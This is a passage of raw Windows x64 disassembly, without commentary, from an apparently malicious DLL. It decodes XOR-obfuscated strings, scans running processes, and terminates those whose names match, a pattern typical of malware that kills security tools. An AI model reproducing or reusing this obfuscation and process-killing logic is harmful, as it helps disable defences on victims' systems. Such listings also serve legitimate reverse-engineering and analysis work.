add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001dec0
cmp r8d, 0x13
jge 0x18001e007
movsxd rax, r8d
lea r9, [rbp + 0x48]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x18001dfd0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp + 0x48]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001e020
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.180006af0
nop
cmp qword [rbp - 0x50], 0
je 0x18001e30a
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.1800053e0
nop
mov r8, rsi
lea rdx, [0x18015684c]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
cmp rax, 0xffffffffffffffff
je 0x18001e0d3
mov r8, rsi
lea rdx, [0x18015687c]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001fd6e
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800bbe40
mov qword [rsp + 0x50], rbx
lea rdx, [0x180156870]
lea rcx, [rsp + 0x40]
call fcn.180007660
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18001e2c7
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001e140
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x80]
call fcn.180006af0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.18009d170
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.1800053e0
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.18009d170
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001e193
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001e1a1
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001e1c6
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18001e1cf
add rax, 2
sub rcx, 1
jne 0x18001e1b3
cmp r9, r10
jae 0x18001e1d7
mov ebx, esi
jmp 0x18001e1dd
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001e1dd
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001e21d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e218
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd74
call fcn.1800b98ec
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001e26e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e269
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd7a
call fcn.1800b98ec
test ebx, ebx
je 0x18001e28c
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001e120
jmp 0x18001e2c7
mov r8d, dword [rbp + 0x168]
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18001e2bd
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001e30a
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e304
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd80
call fcn.1800b98ec
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001e34a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e345
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fdc2
call fcn.1800b98ec
movups xmm0, xmmword [str.__PWZ]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x180157cb0]
mov dword [rsp + 0x70], eax
cmp word [0x180157cb2], 0
je 0x18001e3aa
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x60], ax
xor word [rsp + 0x62], 0x34
xor word [rsp + 0x64], 0x35
xor word [rsp + 0x66], 0x36
xor word [rsp + 0x68], 0x37
xor word [rsp + 0x6a], 0x38
xor word [rsp + 0x6c], 0x39
xor word [rsp + 0x6e], 0x3a
xor word [rsp + 0x70], 0x3b
xor word [rsp + 0x72], 0x3c
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rsp + 0x60]
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x18001e3c1
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.180006af0
nop
or r15d, 1
mov dword [rbp + 0x710], r15d
lea rcx, [rbp - 0x80]
call fcn.1800a0bf0
test al, al
jne 0x18001ee98
movups xmm0, xmmword [0x180157c10]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x180157c20]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x180157c30]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001e557
movdqa xmm5, xmmword [0x18015bd50]
movdqa xmm4, xmmword [0x18015bf90]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x18015bdf0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [str.3333333344444444]
lea rcx, [rbp]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001e460
cmp r8d, 0x11
jge 0x18001e5a7
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x18001e570
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea rax, [rbp]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001e5c0
lea rdx, [rbp]
lea rcx, [rbp - 0x40]
call fcn.180006af0
nop
or r15d, 2
mov dword [rbp + 0x710], r15d
cmp qword [rbp - 0x30], 0
je 0x18001e8d3
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.1800053e0
nop
mov r8, rsi
lea rdx, [0x180156860]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
cmp rax, 0xffffffffffffffff
je 0x18001e67e
mov r8, rsi
lea rdx, str.....
lea rcx, [rsp + 0x40]
call fcn.1800050a0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001fd86
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800bbe40
mov qword [rsp + 0x50], rbx
lea rdx, [0x180156850]
lea rcx, [rsp + 0x40]
call fcn.180007660
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x18001e710
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001e8d3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e8ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd0e
jmp 0x18001e8ce
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001e730
lea rdx, [rbp + 0x18c]
lea rcx, [rsp + 0x60]
call fcn.180006af0
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x20]
call fcn.18009d170
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp]
call fcn.1800053e0
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.18009d170
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001e785
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001e793
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001e7b8
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x18001e7c1
add rax, 2
sub rcx, 1
jne 0x18001e7a5
cmp r9, r10
jae 0x18001e7c9
mov ebx, esi
jmp 0x18001e7cf
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001e7cf
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x18001e80f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e80a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd8c
call fcn.1800b98ec
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001e860
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e85b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd92
call fcn.1800b98ec
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r13w
test ebx, ebx
je 0x18001ee2c
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001e710
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001e8d3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e8ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fdb0
call fcn.1800b98ec
mov eax, dword [0x180157c70]
mov dword [rbp + 0x68], eax
movups xmm0, xmmword [str.__PWZOXSYQNZ2o__E]
movups xmm1, xmmword [0x180157c60]
movzx eax, word [0x180157c74]
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm1
mov word [rbp + 0x6c], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001ea39
movdqa xmm5, xmmword [0x18015bd50]
movdqa xmm4, xmmword [0x18015bf90]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x18015bdf0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [str.3333333344444444]
lea rcx, [rbp + 0x48]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001e942
cmp r8d, 0x13
jge 0x18001ea87
movsxd rax, r8d
lea r9, [rbp + 0x48]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x18001ea50
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp + 0x48]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001eaa0
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.180006af0
nop
or r15d, 4
mov dword [rbp + 0x710], r15d
cmp qword [rbp - 0x50], 0
je 0x18001ebdd
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.1800053e0
nop
mov r8, rsi
lea rdx, [0x180156860]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
cmp rax, 0xffffffffffffffff
je 0x18001eb5e
mov r8, rsi
lea rdx, str.....
lea rcx, [rsp + 0x40]
call fcn.1800050a0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001fd98
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800bbe40
mov qword [rsp + 0x50], rbx
lea rdx, [0x180156850]
lea rcx, [rsp + 0x40]
call fcn.180007660
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x18001ebf0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001ebdd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ebd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd9e
call fcn.1800b98ec
mov bl, 1
jmp 0x18001ee9a
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001ec10
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x20]
call fcn.180006af0
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x60]
call fcn.18009d170
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp]
call fcn.1800053e0
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.18009d170
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001ec64
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001ec72
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001ec97
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18001eca0
add rax, 2
sub rcx, 1
jne 0x18001ec84
cmp r9, r10
jae 0x18001eca8
mov ebx, esi
jmp 0x18001ecae
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001ecae
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x18001ecee
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ece9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fda4
call fcn.1800b98ec
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x18001ed41
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ed3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fdaa
call fcn.1800b98ec
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r13w
test ebx, ebx
je 0x18001edbb
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001ebf0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001ebdd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ebd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd14
jmp 0x18001ebd8
mov r8d, dword [rbp + 0x168]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x18001eddb
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001ee98
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ee93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd14
jmp 0x18001ee93
mov r8d, dword [rbp + 0x168]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x18001ee4c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001ee98
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ee93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fdb0
call fcn.1800b98ec
xor bl, bl
test r15b, 4
je 0x18001eee5
and r15d, 0xfffffffb
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001eee5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001eedf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fdb6
call fcn.1800b98ec
nop
test r15b, 2
je 0x18001ef30
and r15d, 0xfffffffd
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001ef30
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ef2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fdbc
call fcn.1800b98ec
nop
test r15b, 1
je 0x18001ef7a
and r15d, 0xfffffffe
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x18001ef7a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ef75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fdc2
call fcn.1800b98ec
test bl, bl
jne 0x18001f09f
call fcn.1800b79c8
mov rbx, rax
call fcn.1800b79ac
cmp rbx, 0x989680
jne 0x18001ef9e
imul rax, rax, 0x64
jmp 0x18001efbc
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
imul rcx, rcx, 0x3b9aca00
add rax, rcx
movabs rcx, 0x7ffffffffa0a1efe
cmp rax, rcx
lea rdi, [rax + 0x5f5e100]
jle 0x18001efe0
movabs rdi, 0x7fffffffffffffff
nop dword [rax]
call fcn.1800b79c8
mov rbx, rax
call fcn.1800b79ac
cmp rbx, 0x989680
jne 0x18001effc
imul rax, rax, 0x64
jmp 0x18001f01a
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
imul rcx, rcx, 0x3b9aca00
add rax, rcx
cmp rdi, rax
mov ebx, 5
je 0x18001d110
jl 0x18001d110
mov rbx, rdi
sub rbx, rax
call fcn.1800b7afc
imul rcx, rax, 0x64
xorps xmm0, xmm0
cvtsi2sd xmm0, rbx
comisd xmm0, xmm10
jbe 0x18001f05b
movabs rax, 0x311cdad160000
add rcx, rax
jmp 0x18001f05e
add rcx, rbx
movabs rax, 0x112e0be826d694b3
imul rcx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rbp + 0xb0], rdx
imul eax, edx, 0x3b9aca00
sub ecx, eax
mov dword [rbp + 0xb8], ecx
lea rcx, [rbp + 0xb0]
call fcn.1800b7b2c
jmp 0x18001efe0
lea rax, [rsp + 0x40]
mov qword [rbp + 0x710], rax
movups xmm0, xmmword [0x180157cc8]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x180157cd8]
mov ecx, 0x2d
mov word [rsp + 0x60], cx
xor word [rsp + 0x62], 0x34
xor word [rsp + 0x64], 0x35
xor word [rsp + 0x66], 0x36
xor word [rsp + 0x68], 0x37
xor word [rsp + 0x6a], 0x38
xor word [rsp + 0x6c], 0x39
xor word [rsp + 0x6e], 0x3a
xor ax, 0x3b
mov word [rsp + 0x70], ax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rsp + 0x60]
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x18001f112
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.180006af0
nop
lea rax, [rbp - 0x80]
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x68], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.1800117c0
mov rbx, rax
lea rdx, [rbp + 0x118]
lea rcx, [rbp]
call fcn.1800053e0
nop
lea r8, [rbp + 0xc0]
mov rdx, rbx
mov rcx, rax
call fcn.1800a0980
movzx ebx, al
lea r9, [fcn.180005250]
mov r8, r14
mov edx, 0x20
lea rcx, [rbp - 0x80]
call fcn.1800b9920
test bl, bl
jne 0x18001f1bc
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18001fa72
movups xmm0, xmmword [0x180157c10]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x180157c20]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x180157c30]
mov word [rbp + 0x20], ax
mov r8d, r13d
mov r15d, 5
cmp r12d, 2
jl 0x18001f327
movdqa xmm5, xmmword [0x18015bd50]
movdqa xmm4, xmmword [0x18015bf90]
movd xmm6, r15d
movdqa xmm7, xmmword [0x18015bdf0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [str.3333333344444444]
lea rcx, [rbp]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
